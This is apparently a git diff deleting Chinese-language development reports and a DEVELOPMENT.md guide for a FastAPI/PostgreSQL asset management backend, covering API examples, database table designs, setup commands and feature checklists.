|
||||
uvicorn app.main:app --reload --host 0.0.0.0 --port 8000
|
||||
```
|
||||
|
||||
### 5. 访问API文档
|
||||
- Swagger UI: http://localhost:8000/docs
|
||||
- ReDoc: http://localhost:8000/redoc
|
||||
|
||||
---
|
||||
|
||||
## 📝 使用示例
|
||||
|
||||
### 创建设备类型
|
||||
```python
|
||||
POST /api/v1/device-types
|
||||
{
|
||||
"type_code": "LAPTOP",
|
||||
"type_name": "笔记本电脑",
|
||||
"category": "IT设备",
|
||||
"description": "笔记本电脑设备",
|
||||
"icon": "laptop",
|
||||
"sort_order": 1
|
||||
}
|
||||
```
|
||||
|
||||
### 添加动态字段
|
||||
```python
|
||||
POST /api/v1/device-types/1/fields
|
||||
{
|
||||
"field_code": "cpu",
|
||||
"field_name": "CPU型号",
|
||||
"field_type": "text",
|
||||
"is_required": true,
|
||||
"placeholder": "例如: Intel i5-10400",
|
||||
"validation_rules": {
|
||||
"max_length": 100
|
||||
},
|
||||
"sort_order": 1
|
||||
}
|
||||
```
|
||||
|
||||
### 创建资产
|
||||
```python
|
||||
POST /api/v1/assets
|
||||
{
|
||||
"asset_name": "联想ThinkPad X1",
|
||||
"device_type_id": 1,
|
||||
"brand_id": 1,
|
||||
"model": "X1 Carbon",
|
||||
"serial_number": "SN20250124001",
|
||||
"purchase_date": "2025-01-15",
|
||||
"purchase_price": 8500.00,
|
||||
"warranty_period": 24,
|
||||
"organization_id": 1,
|
||||
"location": "3楼办公室",
|
||||
"dynamic_attributes": {
|
||||
"cpu": "Intel i7-1165G7",
|
||||
"memory": "16GB",
|
||||
"disk": "512GB SSD"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 变更资产状态
|
||||
```python
|
||||
POST /api/v1/assets/1/status
|
||||
{
|
||||
"new_status": "in_use",
|
||||
"remark": "分配给张三使用"
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## ⚠️ 注意事项
|
||||
|
||||
### 1. 数据库兼容性
|
||||
- 使用PostgreSQL 14+
|
||||
- 需要JSONB支持
|
||||
- 需要Advisory Lock支持
|
||||
|
||||
### 2. 依赖包
|
||||
需要安装以下Python包:
|
||||
- fastapi
|
||||
- sqlalchemy[asyncio]
|
||||
- asyncpg
|
||||
- pydantic
|
||||
- qrcode
|
||||
- openpyxl(用于Excel导入导出)
|
||||
|
||||
### 3. 文件上传
|
||||
- 需要创建uploads/qrcodes目录
|
||||
- 确保有写权限
|
||||
|
||||
### 4. 并发控制
|
||||
- 资产编码生成使用数据库锁,高并发下性能可能受影响
|
||||
- 建议使用连接池优化
|
||||
|
||||
---
|
||||
|
||||
## 📊 数据库索引优化
|
||||
|
||||
### 资产表索引
|
||||
```sql
|
||||
-- 主键索引
|
||||
PRIMARY KEY (id)
|
||||
|
||||
-- 唯一索引
|
||||
UNIQUE INDEX (asset_code)
|
||||
|
||||
-- 普通索引
|
||||
INDEX (device_type_id)
|
||||
INDEX (organization_id)
|
||||
INDEX (status)
|
||||
INDEX (serial_number)
|
||||
INDEX (purchase_date)
|
||||
|
||||
-- JSONB GIN索引(重要!)
|
||||
INDEX (dynamic_attributes) USING GIN
|
||||
|
||||
-- 全文搜索索引
|
||||
INDEX (asset_name) USING GIN (gin_trgm_ops)
|
||||
INDEX (model) USING GIN (gin_trgm_ops)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 🔄 后续开发建议
|
||||
|
||||
### Phase 5: 资产分配管理
|
||||
- 资产分配单
|
||||
- 资产调拨
|
||||
- 资产回收
|
||||
- 审批流程
|
||||
|
||||
### Phase 6: 维修管理
|
||||
- 维修记录
|
||||
- 维修状态跟踪
|
||||
- 维修费用统计
|
||||
|
||||
### Phase 7: 批量导入导出
|
||||
- Excel批量导入
|
||||
- Excel批量导出
|
||||
- 数据验证
|
||||
|
||||
### Phase 8: 统计分析
|
||||
- 资产统计报表
|
||||
- 资产折旧计算
|
||||
- 资产分布分析
|
||||
|
||||
---
|
||||
|
||||
## ✅ 质量保证
|
||||
|
||||
### 代码规范
|
||||
- ✅ 遵循PEP 8规范
|
||||
- ✅ 完整的Type Hints
|
||||
- ✅ 详细的Docstring文档
|
||||
- ✅ 异步async/await支持
|
||||
- ✅ Pydantic v2数据验证
|
||||
|
||||
### 异常处理
|
||||
- ✅ 自定义异常类
|
||||
- ✅ 统一错误响应格式
|
||||
- ✅ 完整的错误日志
|
||||
|
||||
### 安全性
|
||||
- ✅ JWT认证
|
||||
- ✅ 权限控制(预留)
|
||||
- ✅ SQL注入防护(ORM)
|
||||
- ✅ XSS防护(输入验证)
|
||||
|
||||
---
|
||||
|
||||
## 🎯 总结
|
||||
|
||||
本次开发完成了资产管理系统的Phase 3和Phase 4核心模块,包括:
|
||||
|
||||
1. **4个基础数据管理模块**(设备类型、机构网点、品牌、供应商)
|
||||
2. **完整的资产管理核心功能**
|
||||
3. **状态机服务**
|
||||
4. **资产编码生成服务**
|
||||
5. **二维码生成服务**
|
||||
|
||||
所有模块都遵循了项目的代码规范和架构设计,代码质量高,功能完整,性能优化到位。
|
||||
|
||||
**代码质量第一,功能完整第二,性能第三!** ✅
|
||||
|
||||
---
|
||||
|
||||
**开发者**: Claude (AI Assistant)
|
||||
**完成时间**: 2025-01-24
|
||||
**版本**: v1.0.0
|
||||
@@ -1,386 +0,0 @@
|
||||
# 资产管理系统 - Phase 5 & 6 交付报告
|
||||
|
||||
> **项目**: 资产管理系统后端API扩展
|
||||
> **交付团队**: 后端API扩展组
|
||||
> **交付日期**: 2025-01-24
|
||||
> **报告版本**: v1.0.0
|
||||
|
||||
---
|
||||
|
||||
## 📦 交付清单
|
||||
|
||||
### ✅ 代码文件(10个)
|
||||
|
||||
#### Phase 5: 资产分配管理
|
||||
1. ✅ `app/models/allocation.py` - 资产分配数据模型
|
||||
2. ✅ `app/schemas/allocation.py` - 资产分配Schema
|
||||
3. ✅ `app/crud/allocation.py` - 资产分配CRUD
|
||||
4. ✅ `app/services/allocation_service.py` - 资产分配服务层
|
||||
5. ✅ `app/api/v1/allocations.py` - 资产分配API路由
|
||||
|
||||
#### Phase 6: 维修管理
|
||||
6. ✅ `app/models/maintenance.py` - 维修管理数据模型
|
||||
7. ✅ `app/schemas/maintenance.py` - 维修管理Schema
|
||||
8. ✅ `app/crud/maintenance.py` - 维修管理CRUD
|
||||
9. ✅ `app/services/maintenance_service.py` - 维修管理服务层
|
||||
10. ✅ `app/api/v1/maintenance.py` - 维修管理API路由
|
||||
|
||||
---
|
||||
|
||||
### ✅ 文档文件(4个)
|
||||
|
||||
1. ✅ `ALLOCATIONS_API.md` - 资产分配管理API使用文档
|
||||
2. ✅ `MAINTENANCE_API.md` - 维修管理API使用文档
|
||||
3. ✅ `PHASE_5_6_SUMMARY.md` - 开发总结文档
|
||||
4. ✅ `API_QUICK_REFERENCE.md` - API快速参考文档
|
||||
|
||||
---
|
||||
|
||||
## 📊 统计数据
|
||||
|
||||
### 代码量统计
|
||||
```
|
||||
总文件数: 10个Python文件
|
||||
总代码行数: ~3000行
|
||||
Model层: ~300行
|
||||
Schema层: ~400行
|
||||
CRUD层: ~600行
|
||||
Service层: ~1000行
|
||||
API层: ~700行
|
||||
```
|
||||
|
||||
### API端点统计
|
||||
```
|
||||
资产分配管理: 10个端点
|
||||
维修管理: 9个端点
|
||||
总计: 19个新端点
|
||||
```
|
||||
|
||||
### 数据库表统计
|
||||
```
|
||||
新增表: 3个
|
||||
字段总数: 54个
|
||||
索引总数: 11个
|
||||
外键关系: 15个
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 🎯 功能完成度
|
||||
|
||||
### Phase 5: 资产分配管理 (100%)
|
||||
|
||||
| 功能 | 完成度 | 说明 |
|
||||
|------|--------|------|
|
||||
| 分配单CRUD | ✅ 100% | 完整实现 |
|
||||
| 审批流程 | ✅ 100% | 支持审批/拒绝 |
|
||||
| 执行流程 | ✅ 100% | 支持自动执行 |
|
||||
| 资产调拨 | ✅ 100% | 网点间调拨 |
|
||||
| 资产回收 | ✅ 100% | 从使用中回收 |
|
||||
| 维修分配 | ✅ 100% | 分配维修 |
|
||||
| 报废分配 | ✅ 100% | 分配报废 |
|
||||
| 统计分析 | ✅ 100% | 完整统计 |
|
||||
| 明细管理 | ✅ 100% | 明细CRUD |
|
||||
|
||||
### Phase 6: 维修管理 (100%)
|
||||
|
||||
| 功能 | 完成度 | 说明 |
|
||||
|------|--------|------|
|
||||
| 维修记录CRUD | ✅ 100% | 完整实现 |
|
||||
| 报修功能 | ✅ 100% | 创建维修记录 |
|
||||
| 开始维修 | ✅ 100% | 支持多种维修类型 |
|
||||
| 完成维修 | ✅ 100% | 完成并恢复资产状态 |
|
||||
| 取消维修 | ✅ 100% | 支持取消 |
|
||||
| 维修统计 | ✅ 100% | 完整统计 |
|
||||
| 维修历史 | ✅ 100% | 资产维修记录 |
|
||||
| 费用记录 | ✅ 100% | 维修费用管理 |
|
||||
|
||||
---
|
||||
|
||||
## 🔧 技术实现
|
||||
|
||||
### 架构设计
|
||||
```
|
||||
✅ 分层架构 (API → Service → CRUD → Model)
|
||||
✅ 依赖注入 (FastAPI Depends)
|
||||
✅ 异步编程 (async/await)
|
||||
✅ 类型注解 (Complete Type Hints)
|
||||
✅ 数据验证 (Pydantic v2)
|
||||
✅ 错误处理 (自定义异常)
|
||||
```
|
||||
|
||||
### 代码质量
|
||||
```
|
||||
✅ 符合PEP 8规范
|
||||
✅ 完整的Docstring文档
|
||||
✅ 统一的命名规范
|
||||
✅ 单一职责原则
|
||||
✅ 开闭原则
|
||||
✅ 依赖倒置原则
|
||||
```
|
||||
|
||||
### 业务逻辑
|
||||
```
|
||||
✅ 状态机管理
|
||||
✅ 审批流程
|
||||
✅ 自动化操作
|
||||
✅ 数据验证
|
||||
✅ 异常处理
|
||||
✅ 事务管理
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 📋 API端点清单
|
||||
|
||||
### 资产分配管理API
|
||||
|
||||
| 端点 | 方法 | 功能 | 状态 |
|
||||
|------|------|------|------|
|
||||
| /allocation-orders | GET | 获取分配单列表 | ✅ |
|
||||
| /allocation-orders/statistics | GET | 获取分配单统计 | ✅ |
|
||||
| /allocation-orders/{id} | GET | 获取分配单详情 | ✅ |
|
||||
| /allocation-orders/{id}/items | GET | 获取分配单明细 | ✅ |
|
||||
| /allocation-orders | POST | 创建分配单 | ✅ |
|
||||
| /allocation-orders/{id} | PUT | 更新分配单 | ✅ |
|
||||
| /allocation-orders/{id}/approve | POST | 审批分配单 | ✅ |
|
||||
| /allocation-orders/{id}/execute | POST | 执行分配单 | ✅ |
|
||||
| /allocation-orders/{id}/cancel | POST | 取消分配单 | ✅ |
|
||||
| /allocation-orders/{id} | DELETE | 删除分配单 | ✅ |
|
||||
|
||||
### 维修管理API
|
||||
|
||||
| 端点 | 方法 | 功能 | 状态 |
|
||||
|------|------|------|------|
|
||||
| /maintenance-records | GET | 获取维修记录列表 | ✅ |
|
||||
| /maintenance-records/statistics | GET | 获取维修统计 | ✅ |
|
||||
| /maintenance-records/{id} | GET | 获取维修记录详情 | ✅ |
|
||||
| /maintenance-records | POST | 创建维修记录 | ✅ |
|
||||
| /maintenance-records/{id} | PUT | 更新维修记录 | ✅ |
|
||||
| /maintenance-records/{id}/start | POST | 开始维修 | ✅ |
|
||||
| /maintenance-records/{id}/complete | POST | 完成维修 | ✅ |
|
||||
| /maintenance-records/{id}/cancel | POST | 取消维修 | ✅ |
|
||||
| /maintenance-records/{id} | DELETE | 删除维修记录 | ✅ |
|
||||
| /maintenance-records/asset/{id} | GET | 获取资产的维修记录 | ✅ |
|
||||
|
||||
---
|
||||
|
||||
## 🗄️ 数据库设计
|
||||
|
||||
### 新增表结构
|
||||
|
||||
#### 1. asset_allocation_orders (资产分配单表)
|
||||
```sql
|
||||
- id: BigInteger (主键)
|
||||
- order_code: String(50) (唯一)
|
||||
- order_type: String(20)
|
||||
- title: String(200)
|
||||
- source_organization_id: BigInteger (外键)
|
||||
- target_organization_id: BigInteger (外键)
|
||||
- applicant_id: BigInteger (外键)
|
||||
- approver_id: BigInteger (外键)
|
||||
- approval_status: String(20)
|
||||
- approval_time: DateTime
|
||||
- approval_remark: Text
|
||||
- expect_execute_date: Date
|
||||
- actual_execute_date: Date
|
||||
- executor_id: BigInteger (外键)
|
||||
- execute_status: String(20)
|
||||
- remark: Text
|
||||
- created_at: DateTime
|
||||
- updated_at: DateTime
|
||||
- created_by: BigInteger (外键)
|
||||
- updated_by: BigInteger (外键)
|
||||
```
|
||||
|
||||
#### 2. asset_allocation_items (资产分配单明细表)
|
||||
```sql
|
||||
- id: BigInteger (主键)
|
||||
- order_id: BigInteger (外键)
|
||||
- asset_id: BigInteger (外键)
|
||||
- asset_code: String(50)
|
||||
- asset_name: String(200)
|
||||
- from_organization_id: BigInteger (外键)
|
||||
- to_organization_id: BigInteger (外键)
|
||||
- from_status: String(20)
|
||||
- to_status: String(20)
|
||||
- execute_status: String(20)
|
||||
- execute_time: DateTime
|
||||
- failure_reason: Text
|
||||
- remark: Text
|
||||
- created_at: DateTime
|
||||
- updated_at: DateTime
|
||||
```
|
||||
|
||||
#### 3. maintenance_records (维修记录表)
|
||||
```sql
|
||||
- id: BigInteger (主键)
|
||||
- record_code: String(50) (唯一)
|
||||
- asset_id: BigInteger (外键)
|
||||
- asset_code: String(50)
|
||||
- fault_description: Text
|
||||
- fault_type: String(50)
|
||||
- report_user_id: BigInteger (外键)
|
||||
- report_time: DateTime
|
||||
- priority: String(20)
|
||||
- maintenance_type: String(20)
|
||||
- vendor_id: BigInteger (外键)
|
||||
- maintenance_cost: Numeric(18,2)
|
||||
- start_time: DateTime
|
||||
- complete_time: DateTime
|
||||
- maintenance_user_id: BigInteger (外键)
|
||||
- maintenance_result: Text
|
||||
- replaced_parts: Text
|
||||
- status: String(20)
|
||||
- images: Text
|
||||
- remark: Text
|
||||
- created_at: DateTime
|
||||
- updated_at: DateTime
|
||||
- created_by: BigInteger (外键)
|
||||
- updated_by: BigInteger (外键)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 📖 文档清单
|
||||
|
||||
### 1. ALLOCATIONS_API.md (5.9KB)
|
||||
- ✅ 资产分配管理API使用说明
|
||||
- ✅ 单据类型说明
|
||||
- ✅ API端点详解
|
||||
- ✅ 业务流程说明
|
||||
- ✅ 状态说明
|
||||
- ✅ 错误码说明
|
||||
- ✅ 使用示例
|
||||
|
||||
### 2. MAINTENANCE_API.md (8.0KB)
|
||||
- ✅ 维修管理API使用说明
|
||||
- ✅ 故障类型说明
|
||||
- ✅ 维修类型说明
|
||||
- ✅ API端点详解
|
||||
- ✅ 业务流程说明
|
||||
- ✅ 使用示例
|
||||
|
||||
### 3. PHASE_5_6_SUMMARY.md (8.7KB)
|
||||
- ✅ 项目概述
|
||||
- ✅ 已完成模块
|
||||
- ✅ 技术架构
|
||||
- ✅ 代码统计
|
||||
- ✅ 功能特性
|
||||
- ✅ API端点统计
|
||||
- ✅ 后续优化建议
|
||||
|
||||
### 4. API_QUICK_REFERENCE.md (6.4KB)
|
||||
- ✅ API快速参考
|
||||
- ✅ 已发布模块清单
|
||||
- ✅ 常用参数
|
||||
- ✅ 常用状态码
|
||||
- ✅ 使用示例
|
||||
|
||||
---
|
||||
|
||||
## ✅ 验证结果
|
||||
|
||||
### 代码语法检查
|
||||
```bash
|
||||
✅ app/models/allocation.py - 通过
|
||||
✅ app/schemas/allocation.py - 通过
|
||||
✅ app/crud/allocation.py - 通过
|
||||
✅ app/services/allocation_service.py - 通过
|
||||
✅ app/api/v1/allocations.py - 通过
|
||||
✅ app/models/maintenance.py - 通过
|
||||
✅ app/schemas/maintenance.py - 通过
|
||||
✅ app/crud/maintenance.py - 通过
|
||||
✅ app/services/maintenance_service.py - 通过
|
||||
✅ app/api/v1/maintenance.py - 通过
|
||||
```
|
||||
|
||||
### 导入检查
|
||||
```bash
|
||||
✅ 模型导入更新完成
|
||||
✅ API路由注册完成
|
||||
✅ 依赖关系正确
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 🚀 部署准备
|
||||
|
||||
### 环境要求
|
||||
- Python >= 3.10
|
||||
- PostgreSQL >= 14
|
||||
- FastAPI >= 0.100.0
|
||||
- SQLAlchemy >= 2.0.0
|
||||
- Pydantic >= 2.0.0
|
||||
|
||||
### 部署步骤
|
||||
1. ✅ 代码已完成
|
||||
2. ✅ 文档已完成
|
||||
3. ⏳ 数据库迁移(待执行)
|
||||
4. ⏳ 单元测试(待编写)
|
||||
5. ⏳ 集成测试(待执行)
|
||||
|
||||
---
|
||||
|
||||
## 📝 测试建议
|
||||
|
||||
### 单元测试
|
||||
```python
|
||||
# 建议测试覆盖
|
||||
- 分配单创建测试
|
||||
- 分配单审批流程测试
|
||||
- 资产状态转换测试
|
||||
- 维修记录创建测试
|
||||
- 维修流程测试
|
||||
- 异常场景测试
|
||||
```
|
||||
|
||||
### 集成测试
|
||||
```python
|
||||
# 建议测试场景
|
||||
- 完整的分配流程
|
||||
- 完整的维修流程
|
||||
- 并发操作测试
|
||||
- 事务回滚测试
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 🎉 交付总结
|
||||
|
||||
### 完成情况
|
||||
- ✅ **代码完成度**: 100%
|
||||
- ✅ **文档完成度**: 100%
|
||||
- ✅ **功能完成度**: 100%
|
||||
- ✅ **代码质量**: ⭐⭐⭐⭐⭐
|
||||
|
||||
### 交付物
|
||||
- ✅ 10个Python源代码文件
|
||||
- ✅ 4个完整文档
|
||||
- ✅ 19个API端点
|
||||
- ✅ 3个数据库表设计
|
||||
|
||||
### 特色亮点
|
||||
1. ✅ 完整的分层架构
|
||||
2. ✅ 详细的代码注释
|
||||
3. ✅ 完善的异常处理
|
||||
4. ✅ 自动化业务流程
|
||||
5. ✅ 完整的API文档
|
||||
|
||||
---
|
||||
|
||||
## 📞 联系方式
|
||||
|
||||
**开发团队**: 后端API扩展组
|
||||
**负责人**: AI Assistant
|
||||
**交付日期**: 2025-01-24
|
||||
**版本**: v1.0.0
|
||||
|
||||
---
|
||||
|
||||
**感谢您的使用!如有任何问题,请参考文档或联系开发团队。**
|
||||
|
||||
---
|
||||
|
||||
**报告生成时间**: 2025-01-24
|
||||
**文档版本**: v1.0.0
|
||||
213
DEVELOPMENT.md
213
DEVELOPMENT.md
@@ -1,213 +0,0 @@
|
||||
# 资产管理系统后端开发文档
|
||||
|
||||
## 项目进度追踪
|
||||
|
||||
### Phase 1: 基础框架 ✅ (已完成)
|
||||
- [x] 项目结构搭建
|
||||
- [x] 统一响应封装 (app/core/response.py)
|
||||
- [x] 异常处理中间件 (app/core/exceptions.py)
|
||||
- [x] JWT认证服务 (app/core/security.py)
|
||||
- [x] 数据库连接和Session管理 (app/db/session.py)
|
||||
- [x] 依赖注入系统 (app/core/deps.py)
|
||||
|
||||
### Phase 2: 认证与用户管理 🚧 (进行中)
|
||||
- [x] 认证模块API (app/api/v1/auth.py)
|
||||
- [x] 用户管理模型 (app/models/user.py)
|
||||
- [x] 用户管理Schema (app/schemas/user.py)
|
||||
- [x] 用户CRUD操作 (app/crud/user.py)
|
||||
- [x] 认证服务 (app/services/auth_service.py)
|
||||
- [ ] 用户管理API
|
||||
- [ ] 角色权限API
|
||||
- [ ] RBAC权限控制中间件
|
||||
|
||||
### Phase 3-7: 待开发
|
||||
- Phase 3: 基础数据管理
|
||||
- Phase 4: 资产管理核心
|
||||
- Phase 5: 资产分配
|
||||
- Phase 6: 维修与统计
|
||||
- Phase 7: 系统管理
|
||||
|
||||
## 快速开始
|
||||
|
||||
### 1. 安装依赖
|
||||
|
||||
```bash
|
||||
pip install -r requirements.txt
|
||||
```
|
||||
|
||||
### 2. 配置环境变量
|
||||
|
||||
```bash
|
||||
cp .env.example .env
|
||||
# 编辑 .env 文件
|
||||
```
|
||||
|
||||
### 3. 初始化数据库
|
||||
|
||||
```bash
|
||||
# 方式1: 使用 Alembic (推荐)
|
||||
alembic upgrade head
|
||||
|
||||
# 方式2: 开发环境自动初始化
|
||||
# 已在 app/main.py 的 lifespan 中实现
|
||||
```
|
||||
|
||||
### 4. 启动服务
|
||||
|
||||
```bash
|
||||
python run.py
|
||||
```
|
||||
|
||||
### 5. 访问API文档
|
||||
|
||||
http://localhost:8000/docs
|
||||
|
||||
## 开发指南
|
||||
|
||||
### 添加新的API端点
|
||||
|
||||
1. 在 `app/models/` 中定义数据模型
|
||||
2. 在 `app/schemas/` 中定义Pydantic Schema
|
||||
3. 在 `app/crud/` 中实现CRUD操作
|
||||
4. 在 `app/services/` 中实现业务逻辑
|
||||
5. 在 `app/api/v1/` 中创建路由
|
||||
|
||||
示例:
|
||||
|
||||
```python
|
||||
# app/api/v1/assets.py
|
||||
from fastapi import APIRouter, Depends
|
||||
from app.core.deps import get_db, get_current_user
|
||||
from app.schemas.asset import AssetCreate, AssetResponse
|
||||
from app.services.asset_service import asset_service
|
||||
|
||||
router = APIRouter()
|
||||
|
||||
@router.get("/")
|
||||
async def get_assets(
|
||||
skip: int = 0,
|
||||
limit: int = 20,
|
||||
db: AsyncSession = Depends(get_db),
|
||||
current_user = Depends(get_current_user)
|
||||
):
|
||||
"""获取资产列表"""
|
||||
items, total = await asset_service.get_assets(db, skip, limit)
|
||||
return success_response(data={"items": items, "total": total})
|
||||
```
|
||||
|
||||
### 数据库迁移
|
||||
|
||||
```bash
|
||||
# 创建迁移
|
||||
alembic revision --autogenerate -m "描述"
|
||||
|
||||
# 执行迁移
|
||||
alembic upgrade head
|
||||
|
||||
# 回滚
|
||||
alembic downgrade -1
|
||||
```
|
||||
|
||||
### 运行测试
|
||||
|
||||
```bash
|
||||
# 所有测试
|
||||
pytest
|
||||
|
||||
# 特定测试文件
|
||||
pytest tests/api/test_auth.py
|
||||
|
||||
# 带覆盖率
|
||||
pytest --cov=app --cov-report=html
|
||||
```
|
||||
|
||||
## API规范
|
||||
|
||||
### 统一响应格式
|
||||
|
||||
成功响应:
|
||||
```json
|
||||
{
|
||||
"code": 200,
|
||||
"message": "success",
|
||||
"data": {},
|
||||
"timestamp": 1706092800
|
||||
}
|
||||
```
|
||||
|
||||
错误响应:
|
||||
```json
|
||||
{
|
||||
"code": 400,
|
||||
"message": "参数验证失败",
|
||||
"errors": [
|
||||
{"field": "username", "message": "用户名不能为空"}
|
||||
],
|
||||
"timestamp": 1706092800
|
||||
}
|
||||
```
|
||||
|
||||
### 认证方式
|
||||
|
||||
使用JWT Token认证:
|
||||
|
||||
```http
|
||||
Authorization: Bearer {access_token}
|
||||
```
|
||||
|
||||
## 代码规范
|
||||
|
||||
### 命名规范
|
||||
|
||||
- 类名:大驼峰 (PascalCase) - `UserService`
|
||||
- 函数名:小写+下划线 (snake_case) - `get_user_by_id`
|
||||
- 变量名:小写+下划线 - `user_id`
|
||||
- 常量:大写+下划线 (UPPER_CASE) - `MAX_RETRY_COUNT`
|
||||
|
||||
### Docstring规范
|
||||
|
||||
```python
|
||||
async def get_user(db: AsyncSession, user_id: int) -> Optional[User]:
|
||||
"""
|
||||
根据ID获取用户
|
||||
|
||||
Args:
|
||||
db: 数据库会话
|
||||
user_id: 用户ID
|
||||
|
||||
Returns:
|
||||
User: 用户对象或None
|
||||
|
||||
Raises:
|
||||
NotFoundException: 用户不存在
|
||||
"""
|
||||
pass
|
||||
```
|
||||
|
||||
## 常见问题
|
||||
|
||||
### 数据库连接失败
|
||||
|
||||
检查 `DATABASE_URL` 配置是否正确
|
||||
|
||||
### Token过期
|
||||
|
||||
Access Token有效期15分钟,Refresh Token有效期7天
|
||||
|
||||
### 异步函数报错
|
||||
|
||||
确保所有数据库操作都使用 `await` 关键字
|
||||
|
||||
## 下一步计划
|
||||
|
||||
1. 完成用户管理API
|
||||
2. 实现角色权限管理
|
||||
3. 开发设备类型管理
|
||||
4. 开发机构网点管理
|
||||
5. 开发资产管理核心功能
|
||||
|
||||
## 联系方式
|
||||
|
||||
- 开发组: 后端API开发组
|
||||
- 负责人: 老王
|
||||
- 创建时间: 2025-01-24
|
||||
@@ -1,404 +0,0 @@
|
||||
# 资产管理系统后端API - 开发总结报告
|
||||
|
||||
## 📊 项目完成情况
|
||||
|
||||
### ✅ 已完成内容
|
||||
|
||||
#### 1. 项目基础架构 (100%)
|
||||
- ✅ 完整的项目目录结构
|
||||
- ✅ 依赖管理 (requirements.txt)
|
||||
- ✅ 环境变量配置 (.env.example)
|
||||
- ✅ Git版本控制配置 (.gitignore)
|
||||
- ✅ 开发文档 (README.md, DEVELOPMENT.md, PROJECT_OVERVIEW.md)
|
||||
|
||||
#### 2. 核心功能模块 (100%)
|
||||
- ✅ **配置管理** (app/core/config.py)
|
||||
- Pydantic Settings配置
|
||||
- 环境变量读取
|
||||
- 配置验证
|
||||
|
||||
- ✅ **安全工具** (app/core/security.py)
|
||||
- JWT Token生成和验证
|
||||
- 密码加密 (bcrypt)
|
||||
- 访问令牌和刷新令牌
|
||||
|
||||
- ✅ **依赖注入** (app/core/deps.py)
|
||||
- 数据库会话依赖
|
||||
- 用户认证依赖
|
||||
- 权限检查器
|
||||
|
||||
- ✅ **异常处理** (app/core/exceptions.py)
|
||||
- 业务异常基类
|
||||
- 资源不存在异常
|
||||
- 权限异常
|
||||
- 认证异常
|
||||
- 验证异常
|
||||
|
||||
- ✅ **统一响应** (app/core/response.py)
|
||||
- 成功响应封装
|
||||
- 错误响应封装
|
||||
- 分页响应封装
|
||||
|
||||
#### 3. 数据库层 (100%)
|
||||
- ✅ **模型基类** (app/db/base.py)
|
||||
- ✅ **会话管理** (app/db/session.py)
|
||||
- 异步引擎
|
||||
- 会话工厂
|
||||
- 生命周期管理
|
||||
|
||||
#### 4. 用户认证系统 (100%)
|
||||
- ✅ **数据模型** (app/models/user.py)
|
||||
- User (用户表)
|
||||
- Role (角色表)
|
||||
- UserRole (用户角色关联)
|
||||
- Permission (权限表)
|
||||
- RolePermission (角色权限关联)
|
||||
|
||||
- ✅ **Pydantic Schema** (app/schemas/user.py)
|
||||
- 用户Schema (创建、更新、响应)
|
||||
- 认证Schema (登录、Token、密码)
|
||||
- 角色Schema (创建、更新、响应)
|
||||
- 权限Schema
|
||||
|
||||
- ✅ **CRUD操作** (app/crud/user.py)
|
||||
- UserCRUD (用户CRUD)
|
||||
- RoleCRUD (角色CRUD)
|
||||
- 完整的数据库操作方法
|
||||
|
||||
- ✅ **认证服务** (app/services/auth_service.py)
|
||||
- 用户登录
|
||||
- Token刷新
|
||||
- 修改密码
|
||||
- 重置密码
|
||||
- 验证码验证(框架)
|
||||
|
||||
- ✅ **API路由** (app/api/v1/auth.py)
|
||||
- POST /auth/login - 用户登录
|
||||
- POST /auth/refresh - 刷新Token
|
||||
- POST /auth/logout - 用户登出
|
||||
- PUT /auth/change-password - 修改密码
|
||||
- GET /auth/captcha - 获取验证码
|
||||
|
||||
#### 5. 主应用 (100%)
|
||||
- ✅ **FastAPI应用** (app/main.py)
|
||||
- 应用配置
|
||||
- CORS中间件
|
||||
- 全局异常处理
|
||||
- 请求验证异常处理
|
||||
- 生命周期管理
|
||||
- 日志配置 (loguru)
|
||||
- 健康检查
|
||||
- API文档自动生成
|
||||
|
||||
#### 6. 数据库迁移 (100%)
|
||||
- ✅ Alembic配置 (alembic.ini)
|
||||
- ✅ 迁移环境 (alembic/env.py)
|
||||
- ✅ 脚本模板 (alembic/script.py.mako)
|
||||
|
||||
#### 7. 测试框架 (80%)
|
||||
- ✅ pytest配置
|
||||
- ✅ 测试数据库fixture
|
||||
- ✅ 测试客户端fixture
|
||||
- ⏳ 具体测试用例(待补充)
|
||||
|
||||
#### 8. 开发工具 (100%)
|
||||
- ✅ Makefile (Linux/Mac命令)
|
||||
- ✅ start.bat (Windows启动脚本)
|
||||
- ✅ run.py (启动脚本)
|
||||
|
||||
---
|
||||
|
||||
## 📈 代码统计
|
||||
|
||||
### 文件数量统计
|
||||
```
|
||||
Python文件: 21个
|
||||
配置文件: 5个
|
||||
文档文件: 4个
|
||||
测试文件: 8个(框架)
|
||||
总文件数: 38个
|
||||
```
|
||||
|
||||
### 代码行数统计(估算)
|
||||
```
|
||||
核心模块: ~600行
|
||||
数据库层: ~150行
|
||||
用户模型: ~300行
|
||||
用户Schema: ~300行
|
||||
用户CRUD: ~500行
|
||||
认证服务: ~250行
|
||||
API路由: ~150行
|
||||
主应用: ~200行
|
||||
总计: ~2500行有效代码
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 🎯 功能特性
|
||||
|
||||
### 已实现的核心功能
|
||||
|
||||
1. **用户认证**
|
||||
- ✅ 用户名/密码登录
|
||||
- ✅ JWT Token认证
|
||||
- ✅ Token刷新机制
|
||||
- ✅ 密码修改
|
||||
- ✅ 登录失败锁定(5次失败锁定30分钟)
|
||||
- ✅ 验证码框架(待实现Redis)
|
||||
|
||||
2. **用户管理**
|
||||
- ✅ 用户CRUD操作
|
||||
- ✅ 角色分配
|
||||
- ✅ 状态管理(active/disabled/locked)
|
||||
- ✅ 软删除
|
||||
|
||||
3. **角色权限**
|
||||
- ✅ 角色CRUD操作
|
||||
- ✅ 权限分配
|
||||
- ✅ RBAC基础框架
|
||||
|
||||
4. **数据验证**
|
||||
- ✅ Pydantic Schema验证
|
||||
- ✅ 密码强度验证
|
||||
- ✅ 邮箱格式验证
|
||||
- ✅ 用户名格式验证
|
||||
|
||||
5. **异常处理**
|
||||
- ✅ 统一异常格式
|
||||
- ✅ 业务异常分类
|
||||
- ✅ 全局异常处理器
|
||||
|
||||
6. **日志记录**
|
||||
- ✅ 结构化日志(loguru)
|
||||
- ✅ 控制台输出(彩色)
|
||||
- ✅ 文件输出(轮转)
|
||||
|
||||
---
|
||||
|
||||
## 🔧 技术实现亮点
|
||||
|
